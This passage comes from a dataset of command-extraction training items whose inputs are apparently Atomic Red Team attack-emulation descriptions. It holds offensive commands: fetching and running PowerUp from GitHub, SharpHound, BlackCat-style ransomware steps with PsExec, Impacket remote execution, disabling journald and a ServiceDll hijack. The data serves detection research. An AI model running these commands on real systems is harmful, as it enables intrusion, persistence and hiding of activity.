    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a scheduled task that runs notepad.exe after user login from an XML file, use the following command which leverages the WMI class PS_ScheduledTask: $xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\\\Microsoft\\\\Windows\\\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }",
    "output": "{\"command_list\": [\"$xml = [System.IO.File]::ReadAllText(\\\"#{xml_path}\\\")\\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \\\"Root\\\\Microsoft\\\\Windows\\\\TaskScheduler\\\" -MethodName \\\"RegisterByXml\\\" -Arguments @{ Force = $true; Xml =$xml; }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a root CA, use the following command: certutil -addstore my #{pfx_path}",
    "output": "{\"command_list\": [\"certutil -addstore my #{pfx_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search for files with specific extensions and archive them into a zip file, use the following command:\n$startingDirectory = \"#{starting_directory}\"\n$outputZip = \"#{output_zip_folder_path}\"\n$fileExtensionsString = \"#{file_extensions}\" \n$fileExtensions = $fileExtensionsString -split \", \"\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\n\nFunction Search-Files {\n  param (\n    [string]$directory\n  )\n  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\n    $fileExtensions -contains $_.Extension.ToLower()\n  }\n  return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n  $foundFilePaths = $foundFiles.FullName\n  Compress-Archive -Path $foundFilePaths -DestinationPath \"$outputZip\\data.zip\"\n\n  Write-Host \"Zip file created: $outputZip\\data.zip\"\n  } else {\n      Write-Host \"No files found with the specified extensions.\"\n  }\n",
    "output": "{\"command_list\": [\"$startingDirectory = \\\"#{starting_directory}\\\"\\n$outputZip = \\\"#{output_zip_folder_path}\\\"\\n$fileExtensionsString = \\\"#{file_extensions}\\\" \\n$fileExtensions = $fileExtensionsString -split \\\", \\\"\\n\\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\\n\\nFunction Search-Files {\\n  param (\\n    [string]$directory\\n  )\\n  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\\n    $fileExtensions -contains $_.Extension.ToLower()\\n  }\\n  return $files\\n}\\n\\n$foundFiles = Search-Files -directory $startingDirectory\\nif ($foundFiles.Count -gt 0) {\\n  $foundFilePaths = $foundFiles.FullName\\n  Compress-Archive -Path $foundFilePaths -DestinationPath \\\"$outputZip\\\\data.zip\\\"\\n\\n  Write-Host \\\"Zip file created: $outputZip\\\\data.zip\\\"\\n  } else {\\n      Write-Host \\\"No files found with the specified extensions.\\\"\\n  }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test prevents journal entries from being written to disk by updating the configuration file with the command: sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf",
    "output": "{\"command_list\": [\"sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test emulates BlackCat ransomware's behavior before encryption and during lateral movement via PsExec on Windows, using the following commands: cmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior set \tSymlinkEvaluation R2R:1\"\nreg    add    HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      \ncopy \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe  -accepteula  \\\\#{targethost} cmd.exe  /c echo \"--access-token\"\"\n",
    "output": "{\"command_list\": [\"cmd.exe /c \\\"wmic \\tcsproduct \\tget UUID\\\" \\ncmd.exe /c \\\"fsutil behavior \\tset SymlinkEvaluation R2L:1\\\" \\ncmd.exe /c \\\"fsutil behavior set \\tSymlinkEvaluation R2R:1\\\"\\nreg    add    HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      \\ncopy \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" $env:temp\\ncmd.exe /c \\\"$env:temp\\\\psexec.exe  -accepteula  \\\\\\\\#{targethost} cmd.exe  /c echo \\\"--access-token\\\"\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Impacket psexec.py script can execute commands remotely, like this: psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'\n",
    "output": "{\"command_list\": [\"psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The technique of modifying the ServiceDll value in HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters to load a malicious DLL can be simulated by executing this command:\n$termsrvDll = \"C:\\Windows\\System32\\termsrv.dll\"\n\n$ACL = Get-Acl $termsrvDll\n$permission = \"Administrators\",\"FullControl\",\"Allow\"\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\n$ACL.SetAccessRule($accessRule)\nSet-Acl -Path $termsrvDll -AclObject $ACL\n\nCopy-Item -Path $termsrvDll -Destination \"$HOME\\AtomicTest.dll\"\n\n$newServiceDll = \"$HOME\\AtomicTest.dll\"\n\n$registryPath = \"HKLM:\\System\\CurrentControlSet\\services\\TermService\\Parameters\"\n\n# Check if the registry key exists\nif (Test-Path -Path $registryPath) {\n    # Modify the ServiceDll value in the registry\n    Set-ItemProperty -Path $registryPath -Name \"ServiceDll\" -Value $newServiceDll\n    Write-Host \"ServiceDll value in the registry has been updated to: $newServiceDll\"\n} else {\n    Write-Host \"Registry key not found. Make sure the \\'TermService\\Parameters\\' key exists.\"\n}",
